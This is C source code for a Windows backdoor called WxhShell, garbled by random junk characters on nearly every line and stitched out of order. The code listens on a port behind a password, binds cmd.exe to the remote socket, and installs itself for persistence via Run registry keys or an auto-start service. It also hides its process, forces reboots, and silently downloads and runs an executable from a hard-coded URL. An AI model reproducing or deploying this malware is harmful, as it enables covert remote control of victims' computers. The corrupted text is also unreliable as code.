    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W^elzN(  
    if(Boot(SHUTDOWN)) D&m1yl@\J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dFg&|Lp  
    else { '\{ OQ H  
    closesocket(wsh); HVvm3qu4  
    ExitThread(0); <uIPv Zsx  
    } v Z10Rb8  
    break; Fe[6Y<x+:  
    } ^:?z7m  
  // 获取shell q2 7Ac; y  
  case 's': { W4 q9pHQ  
    CmdShell(wsh);  5V<6_o  
    closesocket(wsh); {W?!tD43"  
    ExitThread(0); f #h0O3  
    break; KeyKLkg>  
  } pJg:afCg  
  // 退出 0 iSNom}m  
  case 'x': { 3R/6/+S-  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~^.,Ftkb@7  
    CloseIt(wsh); {Q/@Y.~<  
    break; 08:K9zr  
    } 9>+>s ?IgK  
  // 离开 nxN("$'cq  
  case 'q': { pjO  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5 n4/}s  
    closesocket(wsh); 07^.Z[(pCt  
    WSACleanup(); M(8xwo-W  
    exit(1); 4`~OxL  
    break; ,dba:D= l  
        } `*CoVx~fk  
  } b5g^{bzwu  
  } \nOV2(FAT  
j 1'H|4  
  // 提示信息 NHZMH!=4:n  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); crd|r."  
} yYOV:3!"  
  } 6AD&%v  
VFV8ik)  
  return; w 8o?wx*  
} -C^qN7Bz  
.~'q yD2V  
// shell模块句柄 Q3lVx5G>4  
int CmdShell(SOCKET sock) R7Tl 1!,h  
{ :%Z)u:~':  
STARTUPINFO si; a w~a /T:  
ZeroMemory(&si,sizeof(si)); JF &$'  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; JK md'ZGw  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; dFeGibI{  
PROCESS_INFORMATION ProcessInfo; )P1NX"A  
char cmdline[]="cmd"; ivdPF dJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }J5iY0  
  return 0; unL1/JY z  
} R U[  
&m(eMX0lU  
// 自身启动模式 5NSXSR9c  
int StartFromService(void) " 6$+B/5  
{ g 'L$m|  
typedef struct ^(xVjsHp#  
{ 7.5\LTM>9e  
  DWORD ExitStatus; 17Q* <iCs  
  DWORD PebBaseAddress; [\HAJA,  
  DWORD AffinityMask; IsL=DV/  
  DWORD BasePriority; r~;.8qs  
  ULONG UniqueProcessId; .hvn/5s  
  ULONG InheritedFromUniqueProcessId; <.7W:s,f=  
}   PROCESS_BASIC_INFORMATION; f2|On6/  
 4z|Yfvq  
PROCNTQSIP NtQueryInformationProcess; HV3wUEI3  
%4To@#c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 0@f7`D  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 43J8PMY  
}=3W(1cu-  
  HANDLE             hProcess; p|Fhh\,*`X  
  PROCESS_BASIC_INFORMATION pbi; G`!;RX  
A&'HlI% J  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); F0NNS!WP7^  
  if(NULL == hInst ) return 0; DA4!-\bt@  
`~t$k7wm=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Pb D|7IM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); qj|B #dU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \b88=^  
8&f"")m  
  if (!NtQueryInformationProcess) return 0; $0iN43WSQ  
OaxE3bDT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); tX *L_  
  if(!hProcess) return 0; CtDS lJ  
PzTTL=G +  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; EZiGi[t7  
%@M/)"k  
  CloseHandle(hProcess); fs]Zw mA^  
&sA6o"h~  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ~pSD|WX  
if(hProcess==NULL) return 0; o:Z*F0qm  
+FVcrL@  
HMODULE hMod; l:+pO{7L  
char procName[255]; H "?-&>V-  
unsigned long cbNeeded; zT+yZA.L  
cfe[6N  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8CSvg{B  
!c`Q?aGV)  
  CloseHandle(hProcess); 0\}j[-`pF  
PuABS>.;  
if(strstr(procName,"services")) return 1; // 以服务启动 ~KfjT p#  
-+I! (?  
  return 0; // 注册表启动 <F.Ol/'h  
} 7#|NQ=yd  
Sdt2D  
// 主模块 &FvNz  
int StartWxhshell(LPSTR lpCmdLine) .y[K =p3  
{ $l[*Y  
  SOCKET wsl; 1@qb.9wZ6  
BOOL val=TRUE; 7iJk0L$]x  
  int port=0; .r*b+rc;]  
  struct sockaddr_in door; U ._1'pW  
=yNHJHRA#  
  if(wscfg.ws_autoins) Install(); #XY]@V\  
cwC, VYVl  
port=atoi(lpCmdLine); J2[QHr&tn  
N$,)vb<  
if(port<=0) port=wscfg.ws_port; O-2H!58$)  
^9b `;}).  
  WSADATA data; L,4 ^Of  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; R +JI ?/H  
x?<5=,  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   u#UeJu O  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); et ~gO!1:*  
  door.sin_family = AF_INET; }EIwkz8  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ;^8^L'7cr  
  door.sin_port = htons(port); &% r#eB?7  
22r01qH  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O}f(h5!k  
closesocket(wsl); @ Q1jH~t  
return 1; ?RzT0HRd  
} X9gC2iSs]  
Z "=(u wM  
  if(listen(wsl,2) == INVALID_SOCKET) { O.}gG6u5  
closesocket(wsl); tB3CX\e  
return 1; \+~4t  
} 7Y*m_AhxJ  
  Wxhshell(wsl); i:8^:(i  
  WSACleanup(); Cw|SY  
DVcu*UVw  
return 0; n)7icSc  
G-(c+6Mn  
} )?bb]hZg?O  
IP;@unBl  
// 以NT服务方式启动 xA5$!Oq7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) hCvn(f  
{ yK7>^p}V  
DWORD   status = 0; TxCQGzqe  
  DWORD   specificError = 0xfffffff; eo_T .q  
4vQHr!$Ep  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 1DcarF  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; k51s*U6=  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; O({_x@  
  serviceStatus.dwWin32ExitCode     = 0; jgo@~,5R  
  serviceStatus.dwServiceSpecificExitCode = 0; #rr-4$w+  
  serviceStatus.dwCheckPoint       = 0; bv4cw#5z$9  
  serviceStatus.dwWaitHint       = 0; zB$6e!fc  
7Mv$.Z(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); .nH /=  
  if (hServiceStatusHandle==0) return; kZ.3\  
)IhY&?jk?  
status = GetLastError(); GDB>!ukg  
  if (status!=NO_ERROR) U44H/5/  
{ +=k|(8Js#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; l.W:6", w  
    serviceStatus.dwCheckPoint       = 0; F`Y<(]+   
    serviceStatus.dwWaitHint       = 0; G0Eq }MyF  
    serviceStatus.dwWin32ExitCode     = status; /a|NGh%  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7 f*_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); e`Yns$x  
    return; 8)!;[G|  
  } ,7g;r_qwA  
u" g p">  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; VT7NWT J,  
  serviceStatus.dwCheckPoint       = 0; nu<!/O  
  serviceStatus.dwWaitHint       = 0; Q8q_w2s,  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pvw%,=41O  
} w$ {  
cj#q7  
// 处理NT服务事件,比如:启动、停止 %$x FnGb  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 6 {Z\cwP)c  
{ x+e _pb   
switch(fdwControl) yMkd|1  
{ `7_LJ \>I  
case SERVICE_CONTROL_STOP: ~&:R\  
  serviceStatus.dwWin32ExitCode = 0; ex+AT;o  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Z,lWp2A  
  serviceStatus.dwCheckPoint   = 0; /,UkT*+>!  
  serviceStatus.dwWaitHint     = 0; B ,Brmn  
  { ? $ c  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5U jQLB  
  } kwR@oVR^  
  return; vNSf:5H$  
case SERVICE_CONTROL_PAUSE: TMCA?r%Y\  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w0Y%}7  
  break; wS0bk<(  
case SERVICE_CONTROL_CONTINUE: 8Q -F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U9 *2< c  
  break; Oha g%<1#  
case SERVICE_CONTROL_INTERROGATE: N=wy)+  
  break; OF/)-}!  
}; 2QRn c"  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |=T<WU1$  
} }z+"3A|  
[1^wy#  
// 标准应用程序主函数 yo,!u\^x  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) r&sOM_BUF  
{ Q$L(fH kw  
"'B%.a#k  
// 获取操作系统版本 kG$8E  
OsIsNt=GetOsVer(); X2YOD2<v  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u g"<\"  
Jk`)`94 I  
  // 从命令行安装 Z<<gz[$+p  
  if(strpbrk(lpCmdLine,"iI")) Install(); "@w%TcA  
AuipK*&g  
  // 下载执行文件 Q5n : f+  
if(wscfg.ws_downexe) { >1G*ya)  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GPLt<K!<#  
  WinExec(wscfg.ws_filenam,SW_HIDE); otD?J= B  
} L_K\i?  
vcO`j<`  
if(!OsIsNt) { ko2j|*D6@~  
// 如果时win9x,隐藏进程并且设置为注册表启动 t`ceVS  
HideProc(); 6H,=S`V]EK  
StartWxhshell(lpCmdLine); S} Cp&}G{P  
} u7P+^A97L_  
else >-5Gt  
  if(StartFromService()) D8AIV K]  
  // 以服务方式启动 )z235}P  
  StartServiceCtrlDispatcher(DispatchTable); bH&)rn  
else u<=KC/vZe  
  // 普通方式启动 aC~n:0 v  
  StartWxhshell(lpCmdLine); n,a5LR  
f H|QAMfOu  
return 0; {hRie+  
} ,,gLrV k  
k7|z$=zY  
s7nX\:Bw:  
tWSvxGCzn%  
=========================================== zB6u-4^wT  
?t0zsq  
4!~ .6cp3  
Ryba[Fz4Di  
IgVo%)n  
=6Sj}/   
" LX\*4[0%K  
(21 W6  
#include <stdio.h> ?(/j<,m^  
#include <string.h> u@Cf*VPK  
#include <windows.h> r3H}*Wpf  
#include <winsock2.h> A` o?+2s_  
#include <winsvc.h> N`<4:v[P  
#include <urlmon.h> @9uYmkcV  
8S1P&+iKs  
#pragma comment (lib, "Ws2_32.lib") I51oG:6fR?  
#pragma comment (lib, "urlmon.lib") w~$c= JO#  
Uc&6=5~Ys\  
#define MAX_USER   100 // 最大客户端连接数 5&<d2EG6l'  
#define BUF_SOCK   200 // sock buffer uqa4&2(I=j  
#define KEY_BUFF   255 // 输入 buffer O| 1f^_S/  
g>!:U6K  
#define REBOOT     0   // 重启 X$-b oe?  
#define SHUTDOWN   1   // 关机 m +Q5vkW  
," C[Qg(  
#define DEF_PORT   5000 // 监听端口 )pjjW"C+  
h eE'S/  
#define REG_LEN     16   // 注册表键长度 b$v[@"1  
#define SVC_LEN     80   // NT服务名长度 N4a`8dS|  
>lraYMc<rZ  
// 从dll定义API Hz]4AS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); F<yy>Wf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); cXk6e.Uz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 7`b lGzP_  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); : F7k{~  
G{NSAaD[  
// wxhshell配置信息 ?{ B[^  
struct WSCFG { &gGs) $f[  
  int ws_port;         // 监听端口 qnq%mwDeD  
  char ws_passstr[REG_LEN]; // 口令 HQ^9 [HN.  
  int ws_autoins;       // 安装标记, 1=yes 0=no ptV4s=G2  
  char ws_regname[REG_LEN]; // 注册表键名 lx{.H,1~  
  char ws_svcname[REG_LEN]; // 服务名 RDs,sj/Y9?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _m9~*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &l. x:eD  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /[a|DUoHO  
int ws_downexe;       // 下载执行标记, 1=yes 0=no F8{ldzh  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |H ^w>mk  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名  r=fE8[,  
;W7hc!  
}; |Du,UY/  
jrm0@K+<IA  
// default Wxhshell configuration j\2] M  
struct WSCFG wscfg={DEF_PORT, 6xQ"bFm  
    "xuhuanlingzhe", w$gS j/  
    1, W1xf2=z`)T  
    "Wxhshell", \s=QiPK  
    "Wxhshell", hzaLx8L  
            "WxhShell Service", S?*^>Y-e;  
    "Wrsky Windows CmdShell Service", g-."sniP$g  
    "Please Input Your Password: ", RK?jtb=&A  
  1, C@%iQ]=  
  "http://www.wrsky.com/wxhshell.exe", mT96 ]V \  
  "Wxhshell.exe" ?E % +}P  
    }; }dy9I H  
o g_Ri$x8  
// 消息定义模块 \WWG>OUh.U  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; uu}'i\Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X*0k>j  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; wi>DZkR  
char *msg_ws_ext="\n\rExit."; j*XjY[  
char *msg_ws_end="\n\rQuit."; >f>V5L%1  
char *msg_ws_boot="\n\rReboot..."; StEQ -k  
char *msg_ws_poff="\n\rShutdown..."; !?jK1{E3  
char *msg_ws_down="\n\rSave to "; +<&E3Or  
nt7|f,_J  
char *msg_ws_err="\n\rErr!"; ;:P7}v fz!  
char *msg_ws_ok="\n\rOK!"; >GgE,h  
bn$)f6%  
char ExeFile[MAX_PATH]; wY/bA}%  
int nUser = 0; sr\cVv")  
HANDLE handles[MAX_USER]; UanEzx%  
int OsIsNt; W/sY#"  
NN^QUB  
SERVICE_STATUS       serviceStatus; "c6<zP  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; bV_j`:MD  
i&JpM] N  
// 函数声明 +vf:z?I8  
int Install(void); YUCC*t  
int Uninstall(void); JRq3>P  
int DownloadFile(char *sURL, SOCKET wsh); >zQNHSi  
int Boot(int flag); Uls+n@\!  
void HideProc(void); DE%fF,Hk3  
int GetOsVer(void); VrVDm*AGQ  
int Wxhshell(SOCKET wsl); @a0Q0M  
void TalkWithClient(void *cs); 975 _d_U  
int CmdShell(SOCKET sock); xpAok]  
int StartFromService(void); ^CUSlnB\(  
int StartWxhshell(LPSTR lpCmdLine); {#N%Bq}  
E30Ln_^o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); d,UCH  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NddO*`8+)  
^}J<)}Q  
// 数据结构和表定义 sZKEUSFD #  
SERVICE_TABLE_ENTRY DispatchTable[] = RB [/q:  
{ "mR*7o$|  
{wscfg.ws_svcname, NTServiceMain}, +>!V ]S  
{NULL, NULL} S nW7x  
}; :<H8'4>  
Hte[TRbM  
// 自我安装 z?4=h Sy  
int Install(void) 4Ac}(N5D@  
{ )9B:Y;>)  
  char svExeFile[MAX_PATH]; FNC[59   
  HKEY key; 1eHe~p ,  
  strcpy(svExeFile,ExeFile); i3P9sdTD  
Hs$'0:  
// 如果是win9x系统,修改注册表设为自启动 ~q 7;8<U  
if(!OsIsNt) { w//omF'`  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yPoSJzC=[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gGEIK0\{  
  RegCloseKey(key); eeW`JG-E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uaaf9SL?  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J:AMnUOcDi  
  RegCloseKey(key); @MOCug4  
  return 0; B)M& \: _  
    } &pL/ @2+  
  } 6T_K9  
} 6Cv.5V hx  
else { IB8gDP2  
gqfDa cDJL  
// 如果是NT以上系统,安装为系统服务 6J\fF tB@V  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); >La><.z~  
if (schSCManager!=0) q(Hip<6p  
{ O[FZq47  
  SC_HANDLE schService = CreateService >I^9:Q  
  ( b# u8\H  
  schSCManager, f!x[ln<  
  wscfg.ws_svcname, g5Hr7K m  
  wscfg.ws_svcdisp, /OG zt  
  SERVICE_ALL_ACCESS, R&*@@F-dx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , {n&Uf{  
  SERVICE_AUTO_START, k3>YBf`fC  
  SERVICE_ERROR_NORMAL, W:vr@e6  
  svExeFile, FY4T(4#  
  NULL, y^R4I_* z  
  NULL, ezUQ> e  
  NULL, RYy,wVh}  
  NULL, pawl|Z'Ez  
  NULL aCl A{  
  ); g*J@[y;  
  if (schService!=0) ~x#vZ=]8  
  { N}x9N.  
  CloseServiceHandle(schService); Xb,T{.3@  
  CloseServiceHandle(schSCManager); )M:)y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ;&S;%W>|  
  strcat(svExeFile,wscfg.ws_svcname); 9->q|E4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { y`S o&:1  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m*Cu-6&qd  
  RegCloseKey(key); o2naVxetE  
  return 0; Skxd<gv  
    } $(rc/h0/E  
  } 2+Yb 7 uI,  
  CloseServiceHandle(schSCManager); e<"/'Ql!k  
} )%F5t&lum  
} 2w?hgNz  
vy9dAl  
return 1; ]iVLHVqz  
} $FX,zC<=  
` >U?v  
// 自我卸载 cG_Vc[  
int Uninstall(void) q.W>4 k  
{ p$XKlg&  
  HKEY key; a <wL#Id  
{v,)G)obWw  
if(!OsIsNt) { -c+]Wm"\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { i=#F)AD^5#  
  RegDeleteValue(key,wscfg.ws_regname); dYF=c   
  RegCloseKey(key); 1m)M;^_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [>Fm [5x  
  RegDeleteValue(key,wscfg.ws_regname); _ck[&Q  
  RegCloseKey(key); ^B]@Lr E^  
  return 0; NBOCt)C;H  
  } Ch5+N6c^  
} VteEDL/w  
} # {PmNx%M  
else { ppN} k)m  
KY.ZT2k  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 76@qHTh }  
if (schSCManager!=0) H=~9CJ+tc  
{ (MLhaux-  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +@:L|uFU  
  if (schService!=0) OfZN|S+~W  
  { -6C +LbV  
  if(DeleteService(schService)!=0) { r,NgG!zq<  
  CloseServiceHandle(schService); 6N" l{!  
  CloseServiceHandle(schSCManager); (CE7j<j  
  return 0; MKg,!TELe  
  } t'(1I|7  
  CloseServiceHandle(schService); @dEiVF`4:  
  } 75NRCXh.  
  CloseServiceHandle(schSCManager); AK@L32-S  
} ."6[:MF  
} lr3mE  
d%ME@6K)  
return 1; Hj6'pJ4  
} ue{xnjw>U  
Vw~\H Gs/~  
// 从指定url下载文件 @PSLs *  
int DownloadFile(char *sURL, SOCKET wsh) w/m:{cHk  
{ l,`!rF_  
  HRESULT hr; 5kMWW*Xtf  
char seps[]= "/"; .F2 :!h$  
char *token; /,tAoa~FA  
char *file; (S /F)?  
char myURL[MAX_PATH]; 'jfRt-_-  
char myFILE[MAX_PATH]; j-b*C2l  
&c%Y<1e`%  
strcpy(myURL,sURL); 0XU}B\'<  
  token=strtok(myURL,seps); n}nEcXb  
  while(token!=NULL) uY#TEjGh]  
  { ;_+uSalt  
    file=token; qoX@@xr1  
  token=strtok(NULL,seps); vHKlLl>*2  
  } d) ahF[82  
m%r/O&g  
GetCurrentDirectory(MAX_PATH,myFILE); #wR;|pN  
strcat(myFILE, "\\"); Zv!{{XO2;  
strcat(myFILE, file); A :e;k{J  
  send(wsh,myFILE,strlen(myFILE),0); p]T"|!d  
send(wsh,"...",3,0); ^@6q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); PK2~fJB  
  if(hr==S_OK) QP(BZJC  
return 0; (z7+|JE.  
else `/IKdO*!S  
return 1; q|(W-h+  
(< c7<_-H  
} u{e-G&]^;  
\>Zvev!s  
// 系统电源模块 @N.jB#nEb  
int Boot(int flag) >U!*y4  
{ 5M_Wj*a}7  
  HANDLE hToken; l=m(mf?QBg  
  TOKEN_PRIVILEGES tkp; lB;FUck9  
&^.57]  
  if(OsIsNt) { LIpEQ7;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); TnH\O$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); SNpi=K!yn  
    tkp.PrivilegeCount = 1; +j/~Af p5f  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; $)Bg JDr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \_BkY%a  
if(flag==REBOOT) { Ym8}ZW-  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) m`A% p  
  return 0; &#w=7L3AW  
} K|r Lkl9  
else { >SmV74[s2  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) C NrII sJ  
  return 0; []pN$]+c  
} #f,y&\Xmf  
  } \2v"YVWw  
  else { zu\`1W^  
if(flag==REBOOT) { 6 ,b"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j<yiNHC  
  return 0; P 7D!6q  
} F7}-!  
else { _e<o7Y@_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T6BFX0$  
  return 0; A#y@`} ]!'  
} r,(Mu  
} 8p^B hd  
 H`QQG!  
return 1; D-p.kA3MJ  
} 5Rv+zQ#GR  
N"7]R[*  
// win9x进程隐藏模块 t0E51Ic@  
void HideProc(void) 0\QR!*'$  
{ nms8@[4-  
QG gF|c7  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A;X=bj _&a  
  if ( hKernel != NULL ) 45 >XKr.%  
  { chI.{Rj  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); PL=^}{r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); @C8DZ5)  
    FreeLibrary(hKernel); HLK@xKD<  
  } _8?o'<!8?^  
@mQ:7-,~  
return; fxQN+6;  
} aAt>QxGQW  
qL /7^) (  
// 获取操作系统版本 z?]G3$i(  
int GetOsVer(void) -0uV z)  
{ 2tQ`/!m>v$  
  OSVERSIONINFO winfo; 6sfwlT  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); olux6RP[B  
  GetVersionEx(&winfo); }?8uH/+ZA  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Fj p.T;  
  return 1; JCniN";r[  
  else 9WG{p[  
  return 0; vIGw6BJI  
} T]9\VW4  
es:2M |#O  
// 客户端句柄模块 6QQfQ,  
int Wxhshell(SOCKET wsl)  a*dQ _  
{ oMH.u^b]fT  
  SOCKET wsh; ^%T7.1'x  
  struct sockaddr_in client; io2)1cE&f  
  DWORD myID; R!\EK H  
.p` pG3  
  while(nUser<MAX_USER) u'~;Y.@i'  
{ 5`+5{p  
  int nSize=sizeof(client); ~%k?L4%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~p1EF;4#  
  if(wsh==INVALID_SOCKET) return 1; X@2-*so<  
_"a=8a06G  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); pJIv+  
if(handles[nUser]==0) 3(E $I5  
  closesocket(wsh); "f.Z}AbP  
else IZ,oM!Y  
  nUser++; |,C#:"z;  
  } }WLh8i?_  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); d I'SwnR  
JH,/jR  
  return 0; sY SLmUZ{  
} RzKb{> ;A  
NPnHH:\;  
// 关闭 socket %:v`EjRD0  
void CloseIt(SOCKET wsh) =qVP]  9  
{ ~#K@ADYr  
closesocket(wsh); gk0.zz([  
nUser--; tA.`k;LT  
ExitThread(0); L71!J0@a#  
} nSx8E7 |V  
 (t^n'V  
// 客户端请求句柄 ~:4kU/]  
void TalkWithClient(void *cs) -NGK@Yk22  
{ N3BL3:@O  
8,T4lb<<  
  SOCKET wsh=(SOCKET)cs; s54nF\3V  
  char pwd[SVC_LEN]; UPU+ver  
  char cmd[KEY_BUFF]; 2 !1.E5.I  
char chr[1]; Rfb?f} j  
int i,j; ;i uQ?MR3  
alMYk  
  while (nUser < MAX_USER) { SuBeNA[&  
IXLO>>`  
if(wscfg.ws_passstr) { +FG$x/\*0  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); C]u',9,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9' 1B/{  
  //ZeroMemory(pwd,KEY_BUFF); E\7m< 'R  
      i=0; K+\nC)oG  
  while(i<SVC_LEN) { AEirj /  
"d/s5sP|S  
  // 设置超时 jR ~DToQ  
  fd_set FdRead; !v|ISyK  
  struct timeval TimeOut; IE~%=/|  
  FD_ZERO(&FdRead); F t&+vS  
  FD_SET(wsh,&FdRead); >c8GW >\N  
  TimeOut.tv_sec=8; |`k .y]9  
  TimeOut.tv_usec=0; < E|s\u  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]w).8=I  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); <z+:j!~  
 %V G/  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); b]Kk2S/  
  pwd=chr[0]; 6(&Y(/  
  if(chr[0]==0xd || chr[0]==0xa) { .\Fss(Zn  
  pwd=0; U%B(5cC  
  break; 's?Ai2=#  
  } Nt`b;X&  
  i++; ;#+0L$<t  
    } G#`\(NW  
_cH@I?B  
  // 如果是非法用户,关闭 socket FjfN3#qlg  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0*%&>  
} shC;hR&;  
^ZeJ[t&!#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )+y G+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); IakKi4(  
MhEw _{?  
while(1) { r{Rg920  
{QaNAR=)  
  ZeroMemory(cmd,KEY_BUFF); 8OhDjWVJ  
10[Jl5+t  
      // 自动支持客户端 telnet标准   R0Ue0pF7  
  j=0; SkNre$>t{  
  while(j<KEY_BUFF) { j=+"Qz/hr_  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^H'a4G3  
  cmd[j]=chr[0]; FN[R(SLbL  
  if(chr[0]==0xa || chr[0]==0xd) { Zi$ziDz&  
  cmd[j]=0; )ukpJ z""  
  break; :\~+#/=:  
  } ~i;fDQ&!  
  j++; zdun,`6  
    } #Doq P:  
SjEAuRDvUz  
  // 下载文件 |+IZS/W"  
  if(strstr(cmd,"http://")) { J'&# mDU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E4.SF|=x  
  if(DownloadFile(cmd,wsh)) Bvjl-$m!v  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F51.N{'  
  else C_fY %O  
